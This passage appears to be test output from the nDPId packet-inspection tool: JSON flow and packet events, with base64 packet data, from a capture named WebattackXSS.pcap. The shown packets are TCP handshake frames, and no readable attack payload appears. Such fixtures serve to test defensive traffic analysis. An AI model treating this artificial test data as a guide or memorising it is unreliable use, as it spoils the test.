neFbIHvUUQ3\/GXws+3qKW\/5ykoQiB7TrkAbRiaClWMlDbcrNoVYHnKrY+XnsKX9uIxluY6nnQ8RxXi2xw8YGQqMlbQtMnA+1oaYCCecvBMlhFCyLFuW+V\/i7hCInsL\/jaEpWqglrQUDL+EyrAExmUJ+aEXL1bMcV2teSlEttmucBwE57OYoxdActlCKWQEn4AWEkYPVIKbSe3nGRhT15FKKGkCIn68AOdzOaEQ0V8\/3ctbANShHNVKxCsR0Grzeal9KWbdAQA5zGqJ5fD7fCUhFNWSexnoQM8WMaPtRQDn8AP1mWDseAnKYLyHz8Xws6Az8B5kynAQxG5iuse1SjlO18joN0Ytembz5VM5BQ\/59A3gIa0HMJlZEP01uNYFFcdE85Pj0LtrnQznb41UMQKYAR0PMVpQRgh\/E9NQLIH97LDrmcjkb4j50Q6Yfd2J1iNlMnqLLLSawqIj2IuRvV0bxsIEvjDfWxLY4EKdiEY7C1lgRIoiiKKuer6TsH+Tcc9PWgRiLrutrjTXMhfGpB\/Mcf76SfODQz9\/70M4pKi5t6unp8QfTBeXchLQtg6avquq6EFHnJ6RsH\/RbRUnfEOICXd9Uvg9yzv+kmgO4HM3Txfv727Zt2zavfXf3MrZt27adXNu2bdtW\/evsl006vXPz5G7O8\/zy5s3Mzs50dVedrlln5w8xwhLQM5wuSKhbpvYRJiIGOIOpY4YYsnfxIK9ZC2nJirW0cesumrNgGTm4ehIfG2MqmSjGg3mjHKTf\/e53b7Jx0vd6zlpAKm4es\/jz7osZoYmTu5erwdfscx4+88nWST+ldU1nnTflFxQRq5f5HYP7uG3wnmd2rqsB36+bpUysZFxfPdfRzZPsnNx+zeDerui955qdA3Rec3DNc4ywFG4npU5fm1x+wwi8uhC+85ZQaVk5VVRWUWNjE3V0dlL\/wABNTk4SNDw8Qu0dnVRdW0f5hcWUlJJGazZsww2WMk7M\/z37Ygfdw7q6Burt7X2BouJSnB\/4khu+nZtXYPa54pJSBKm5paXV7FhIWCT5BQb3ENF3GQF4kpQ08DOo56ZnZJGtg\/44IwDr\/3jiDOK55PN6mJVrN4\/+\/e8L3opzHFw9mrWuB+obGsnOUV\/PCEvBu6mXrKZ9jHEjLhYsWUXj4xM0EyGIePClK9dh8LOYTzLGFREXn0SqOru6MJsHfH1938wImc2bN7\/BxeDT2draRqoe+wfx4Ooe5GHFKErj7zf4zLvOCICUOW\/xysnBwSFShQlo46SLYQSwdTF8efP23TQ1NUWyMEntXDziGYF0tmXH3mnHBv+OTPNfe8O3GWEJQeWu75lukxtQ6HadEcCiIJnU199PfgHBplX1MRs3t48fOnZqikWqjhw\/Q9b2ul8xQoIHQ\/eTA4dPGFeurIHBQVq8fG3PqTMXT0ZEx5oPfIVx4OMZAfhaPz99\/jJpCdnB2d27ixGAz7d78NifVGVl5xFPtJ2MsHbSrQqLiKaXCavZxsF9JSMshQMSpLmSitwuMwK8NEgTExNms03V6OgoPXwSgECFMsJF553V2tpOqmLiEojT4SZGSGDANkTFxJOq0rIKpJ5MXmFTx0+eI1VIVa563x5GAP7uuaHhkdM+x6p1WwjGgsH3bk1ISiFVgSFhZOWo+zsjUHsLOU2\/TEXFJWTt6B7NCAtBkM5P4\/DOMQJoBqmrq5v2Hjg6vnbjtvydew813H\/oN5WUnErdPb3TrqjV67cgUP+wdtRvyczKJVVl5ZXyzJeJR01UFRYRRckp6QQtWrqG+vsH1IHn2riVbFxdP8UIWyfd2fTMbJpON27fQw35C4MgPSlSAoCVvH3X\/il7e9\/3slN9l4fv\/LGu7m6ztC2rp7ePPH0XjJmcqyXwa\/ud06S7k2q6U9MDBrxEKuxvZf68btP2uuLSMtISCj+fk4b0def+Y\/NA9vUbHwgDwAiAAfGdu2S8t69PWZ1jtHXnXhoZGSFo195DVF1TS6qu3bxL1s6GvzG4x\/Qq+RxF0THxSE3LGGHnbKhpUWpga1s7ueh98xg2F+7\/vnDlOsnCvWRm5ZCqK9duYfJZM8IS8Hpe2zy4HmEEeNUgmXi7u+fsdBRYLTMxf\/HKqf\/auXxi9vxlHZj5qi5dvUk8AP9gBMDDYaBV1bCT3LnnIJn04JE\/paVnkarwyGiydtIvh\/3nbcNIj7TS1e\/PycvnZ9JfsrIyvG\/R8jXGQZcE52pygHjOE0nJaS+aiqZm2n\/4uFn6T2a3i1XMCAtAOnPWdneunowAMw0S+AkP7BTSgyoUY+yhuOhe1kphiZwyrR11BxgB+NzTyanppAoOUSramMFVT\/yDSVVGZg7huzi3f2vvwaMkq41XhqzaunoMZoaNg\/43F7FKFEVExWBFODI8ePqKmtp6kpWdm2fc73VwLZRltOJOhnpGWAJevWu9Y5J\/bWRJkJAukpqbW0lVSloGfw5BcLcPj4whRUhZOJ77\/Dr66tr6BpKFmcoOkbq7e55lmrKysp9u2LJzUp0YlVXVxoFnm+7mHxii3ov8XNgDYXM8jE11VHScufs8cYbs7XWftHLUf3Hl2k280kZVJ4d7r4JZUK34pm17CBPFIuNQ5HpcI0gpjDBhSZDAxZLS8unq0nXUmi3b94yr1x0aHqZ5nBLRdsFgrF6\/1egOZTU1t9D6zTvMfozh6OaVB0cnq7Ozi7Ap5TS2H+lJDvS+Q8dR6F\/4tx27DxCvpDCsCsUoIYA1DFtv93lqwDE5tu3cP8mmSKc1+RBAW0fdCkbMEAQhRg0S16l1jHj6o0qLg7QmLT1T08HxsTBGcHspuoFTgaqbt+8b6xLvRQyP\/QJJVWpaJj18voepYd7IoEVzBh0ITYfnqMsvLikjk3rZdek851At1zZIqm04d7Squkax++X496uM4ID78WRTTEUb2kXp6P\/t3nd4gkWyCotKCJadETNF6\/0SXhAS0Q8Yu9cJ0rr4xBTNDSYfe8IIOCnUG+26pN\/OteRCqkagL125YczzT7WEEYA\/4xEbn0iqrt64Y+w3Nre0yvUH90FqpwJ7NSd3b7O6Ess10NrB3QdNYnRG2ttfPJ6Tm49aupcRzjqfJHyXLBgWr1kzt+IhRW4f12gHZTJ45nvMD18nSJdw46oK2CHxsbOMsHU2fO3CpWvagXTQRXJxLsNgqvuQFWs2PXt25t3Pg+T+dbhDVTAYC5e94NYwqLiP\/vjEZJKVmZ3LjeN1hO656jpxfb6v3x89cdbMwQUGh+F648wIM4nrqLpy\/faMrTintLlmqa7ABT+Y+Sozybz\/dYKUgKKtCptYPrbVdJ7BZ251J+d7dQOo95o7sogHVu2zYXCx73iqfYwwwfq\/eYtW9A5zXZMFa35GaQdFxsThPm4EBIWa9fBOn7tstnWYs3B5FyPYgOzWWq2w35hQJtrbO0gRNt4ztuIclBwlSH4Mnvc2080IS4P0IV7y\/eY3Chsbi885SucezS8sIlWHj5+mm3fuE0upGX4kdQI+ywgZTjehap0rK6+goJBwknXh8nW2xfo\/HuHvUTesaj+O6xOK\/mMG95tTWVlNFggpGmm3jhGvgn+hy0+UAI3j9+dE9E9Tdn6dIJ1Cd1oVHNCOPQcn+fgHTOeyQfgrnJJWMNXe2cDAAKe6jaZUU8YIFbSc0ARVBx5mwyRYZ95UD6C7jhWClWISViEmgboCUD\/t7Q0fg\/McHBoiS4QxRGcdVtySnh2s+NP0bnI7ey0Nkp7fP020ma8iWGe8HExihAm8l1m2esMQ3knJyssvpPKKSpIFS3\/81LNG6nmtIKH5GRIaYdauQYdCTk2m1xKofZjhalBl3X3wmNOU+0851envP3xCr6PQ8Fey4qZXFANSkNr9S50\/RETHGJPsXyVIZcw7mO8yzkz40pXrjd1pLQX\/\/2bPSg0sUglSijpQcETqXkNye3qtIGF\/xRZ4imVWV+S9Gg\/4PgZ2+hD+Xw2q\/PdlqzYM4z0Xu82bGRq9OUyeR08CzKjQSIuFxf+r5h6A5Wi2AI53\/Nm2bcS27eTqMbZt27Zt27Zt27rp9z+pvlVd\/XZn4+yeql+M2TnTM6dP99z7K8VlQc9K0K1p28NS8deTwp6tfxYwSVRf98pYWT6WxS9OotUFcEYRVy89vbVQLilt3YVA9yRTbTGBbWZPbL+E8qV4VInd9nG4MZduQkx7R8r2+QsXez5H6J7Ml1sjI\/+0Ka3dW\/jdbEWLvg4VQ9bFxps5nluK\/6tE+dtepbjZJHkbGggrYTbV2Fk\/DeWZJDlpslIqJ5\/uteeakiwlt2nf5YYZccolrZb2nbp7\/hvSLpJOtxXvQfki+w7cW6UdvfsN0tLNgGIDy58jRo\/T\/kJGjjzn8haK\/LtZq3babTudOn1a5lXroGzS0K1Uve5lt3Vk5m2M5OK5oVyyS8i0fDRQrLvZbTsTdowLmCTPcOY1VFJSLOSE8qdo+L83OksDziRzqZ5LMWHF11AucPuMKOl2qO3CoFS5KuehRGRk5HN2z88NKWq4LaanVVRHGqxuyEYXaTlBueQ2Ls9CN2QCL90RKEEyXscLcOdFC+WFNPMCtBsZHzlJMtLkXl2rXpMjZsuX8iIdBnsh0L2lsMB4r5Vjxe9QvjC\/+H3k6PHaV8imEenNQRlye9xhen5uS4nGaItoWd+SeZ+vXuRMbvH20opNVoLZlONZipOIb\/EXYroLF8wI2m8KhbxwYztiuUmSAw64RH6GZiZXDuXuGjmpZzjI+ngZKhDZfzByjO8TK88BrnbtRHooX+RWIw97urfaCdpAW6Wb0RQKADuR9u4zhYtTvHDrWiPNYFo6tyk+3IuHZ3HLO\/6eL3JL7eN2VEwpLs\/w5r3DipOQSFDNlU3ACutiSRB2yDu05p3ZS3CjNJRNsX9tFQtsh7r16ndx6PDRt2VjiZSS0u2l0Xm3S\/c+p2nVrGIfgTQg6yE74kDdL3kwR\/yrzI7e\/QZfFH36Dbrcd2A\/Ld+3btfl+hTaLk4MgvKnQJHIKXQZ5N8yAIqPs7KqChWDRcGKzVt1OO\/+2bbtu56XhMrK7j\/+W+6U+\/s9+wy8SFN1JpQ\/dODX9u476P+Oo0LV6hfrtQ+fDSVIzGBTJKw0I+gLHIUbF\/FSwC8RIKuveB+fIR7U48YBvwmN\/5r3VK+7d1R8BBVq+EzlMQFxoKZtKV7XfNbpvC0hLxB8jAPwFe2hXM\/qg8RGNLZDHp4F4ZZ\/rUIsOW9iApbgRVAohBWWVVYMNkXCe9gFX3EHX0G5nuWHOgyN8pBfqwQ7riFdiCQoDY5gIp6Hmrw9PAnfX+ctvzb8ESkE3sJW+IsWUMGWpBHQOI83ocxwdxOVIYiTExfNEI1eiANFkZBCKjjZZAL5s+9jPfzFZiQIxiSVhDa6miTFRjPYpdt1ZArCBP1iTUwbQoFnUFiOqdvCJk\/bWOwjKLPCesRrRoPfoYIxST9AG3fwE5Qwa\/sr7VkA2uGtIEjOG+iKO4hGCSiwJbhYIfpyZaw39fLjKryiJFRQJknYLRJswKtQsL+ky2V7jyXq4+VncKxxUBpnoXESWaDE9K3F0rFH7gcowd+ph7vwiiZQwZ6kAtCWhXgOykrWB6gLuyVwClXx8VM6zvTYBG1MxjtQQr50zaitBeJD\/vzzGIFA0RcqFJIUB\/ugLTPwGpRLXqhCL9ht8DWog5+eQFFQBGugjasoAeWwL6jVCBQjEDckkmRORk5oxx785nEynkNetMQsnIbEHrRFNnz8kMfzCirjILRlNb71OKbkOAqviEZNqAcRLJVST2jHddTFS1CBmKTkRAOMwXzMQT\/UQwQS4gU\/k+uU6IyL0JYLqIl4fv7ft9HvPp4\/55EFKlST9CJ2QsN1EuXxMtSjMM+LdyC3svjIgt44Be24gXZ4E8plCpsSOIdAMRafQYVskkyiPsI2aD+uYwKK4n2oB\/QZcqEexrsjxhKNgfjUI9l\/3eezZwNSQz2KYOx\/rYK+D1exGRPQFlVQG03RHj0xGItwATqA2xiLXzyS8zq6IxpesQJRiA0V+klymGdQJ9yBfgp2oTreC1AU9MZFr613aIbvoDyEfpKctssi6CfgGgYhpUdiPkM97IG\/uIrBSI\/YUE9CKHSYk6MLTkI\/pJtYgmbIjJesUj4xfsBvKICaWOBRrV3ELEQ9rc5HKK3XxEFqlEYrjMJKnMRNnMBWLMIE9EVdpMbzHiPmfdTHdKzHCZzHLizBWLRBEXyDWFBP0\/8AOUijysdhqGAAAAAASUVORK5CYII="} +00431{"flow_id":10,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":153,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346977,"pkt_ts_usec":910302,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0I8pAAD4Gog6sEAABwKgKMsxMAFCAL9Zu3497w4AQAUTFnQAAAQEICgE48egD4sNe"} +00430{"flow_id":12,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":176,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346982,"pkt_ts_usec":606931,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0v9ZAAD4GBgKsEAABwKgKMsxgAFByIk7RJhhQv4ARAOU8WwAAAQEICgE49n4D4sJ7"} +00432{"flow_id":12,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":177,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346982,"pkt_ts_usec":607149,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0l0pAAEAGLI7AqAoyrBAAAQBQzGAmGFC\/ciJO0oARAOM24gAAAQEICgPix\/UBOPZ+"} +00430{"flow_id":12,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":178,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346982,"pkt_ts_usec":607912,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0v9dAAD4GBgGsEAABwKgKMsxgAFByIk7SJhhQwIAQAOU24AAAAQEICgE49n4D4sf1"} +00431{"flow_id":11,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":179,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346982,"pkt_ts_usec":905904,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0VvZAAEAGbOLAqAoyrBAAAQBQzF63DJxRxUqX\/IARAOvCTwAAAQEICgPiyEABOPHm"} +00430{"flow_id":11,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":180,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346982,"pkt_ts_usec":906448,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0Z5VAAD4GXkOsEAABwKgKMsxeAFDFSpf8twycUoARAP+9VwAAAQEICgE49skD4shA"} +00432{"flow_id":11,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":181,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346982,"pkt_ts_usec":906527,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0VvdAAEAGbOHAqAoyrBAAAQBQzF63DJxSxUqX\/YAQAOu9awAAAQEICgPiyEABOPbJ"} +00432{"flow_id":10,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":182,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346982,"pkt_ts_usec":913910,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0oKtAAEAGIy3AqAoyrBAAAQBQzEzfj3vDgC\/WboARAPPBCQAAAQEICgPiyEIBOPHo"} +00431{"flow_id":10,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":183,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346982,"pkt_ts_usec":914483,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0I8tAAD4Gog2sEAABwKgKMsxMAFCAL9Zu3497xIARAUS71AAAAQEICgE49ssD4shC"} +00432{"flow_id":10,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":184,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346982,"pkt_ts_usec":914560,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0oKxAAEAGIyzAqAoyrBAAAQBQzEzfj3vEgC\/Wb4AQAPO8JQAAAQEICgPiyEIBOPbL"} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":188,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":13,"flow_packet_id":1,"flow_first_seen":1499346983175,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52386,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00442{"flow_id":13,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":188,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346983,"pkt_ts_usec":175773,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8ikRAAD4GO4ysEAABwKgKMsyiAFBY531IAAAAAKACchDDnAAAAgQFtAQCCAoBOPcMAAAAAAEDAwc="} +00442{"flow_id":13,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":189,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346983,"pkt_ts_usec":175921,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQzKJurEWjWOd9SaAScSBDxgAAAgQFtAQCCAoD4siDATj3DAEDAwc="} +00430{"flow_id":13,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":190,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346983,"pkt_ts_usec":176652,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0ikVAAD4GO5OsEAABwKgKMsyiAFBY531JbqxFpIAQAOXizQAAAQEICgE49wwD4siD"} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":197,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":14,"flow_packet_id":1,"flow_first_seen":1499346984469,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52400,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00442{"flow_id":14,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":197,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346984,"pkt_ts_usec":469275,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8puFAAD4GHu+sEAABwKgKMsywAFBLrV6uAAAAAKACchDuHwAAAgQFtAQCCAoBOPhPAAAAAAEDAwc="} +00442{"flow_id":14,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":198,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346984,"pkt_ts_usec":469401,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQzLBWnxN3S61er6AScSC3PwAAAgQFtAQCCAoD4snGATj4TwEDAwc="} +00430{"flow_id":14,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":199,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346984,"pkt_ts_usec":470156,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0puJAAD4GHvasEAABwKgKMsywAFBLrV6vVp8TeIAQAOVWRgAAAQEICgE4+FAD4snG"} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":206,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":15,"flow_packet_id":1,"flow_first_seen":1499346985762,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52414,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00442{"flow_id":15,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":206,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346985,"pkt_ts_usec":762027,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8k7hAAD4GMhisEAABwKgKMsy+AFBA2morAAAAAKACchDsIwAAAgQFtAQCCAoBOPmTAAAAAAEDAwc="} +00442{"flow_id":15,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":207,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346985,"pkt_ts_usec":762175,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQzL4AEHgfQNpqLKAScSCl5gAAAgQFtAQCCAoD4ssKATj5kwEDAwc="} +00430{"flow_id":15,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":208,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346985,"pkt_ts_usec":762816,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0k7lAAD4GMh+sEAABwKgKMsy+AFBA2mosABB4IIAQAOVE7gAAAQEICgE4+ZMD4ssK"} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":222,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":16,"flow_packet_id":1,"flow_first_seen":1499346988319,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52440,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00442{"flow_id":16,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":222,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346988,"pkt_ts_usec":319151,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8NptAAD4GjzWsEAABwKgKMszYAFB2NsqJAAAAAKACchBT0AAAAgQFtAQCCAoBOPwSAAAAAAEDAwc="} +00442{"flow_id":16,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":223,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346988,"pkt_ts_usec":319279,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQzNhVLB2odjbKiqAScSAQbwAAAgQFtAQCCAoD4s2JATj8EgEDAwc="} +00431{"flow_id":16,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":224,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346988,"pkt_ts_usec":319850,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0NpxAAD4GjzysEAABwKgKMszYAFB2NsqKVSwdqYAQAOWvdgAAAQEICgE4\/BID4s2J"} +00431{"flow_id":13,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":228,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346988,"pkt_ts_usec":607547,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0ikZAAD4GO5KsEAABwKgKMsyiAFBY531JbqxFpIARAOXdfgAAAQEICgE4\/FoD4siD"} +00430{"flow_id":13,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":229,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346988,"pkt_ts_usec":607740,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0iHVAAEAGO2PAqAoyrBAAAQBQzKJurEWkWOd9SoARAOPYMQAAAQEICgPizdEBOPxa"} +00431{"flow_id":13,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":230,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346988,"pkt_ts_usec":608499,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0ikdAAD4GO5GsEAABwKgKMsyiAFBY531KbqxFpYAQAOXYLwAAAQEICgE4\/FoD4s3R"} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":234,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":17,"flow_packet_id":1,"flow_first_seen":1499346989580,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":52454,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00442{"flow_id":17,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":234,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499346989,"pkt_ts_usec":580719,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8HPhAAD4GqNisEAABwKgKMszmAFB8FOG1AAAAAKACchA1fQAAAgQFtAQCCAoBOP1NAAAAAAEDAwc="} 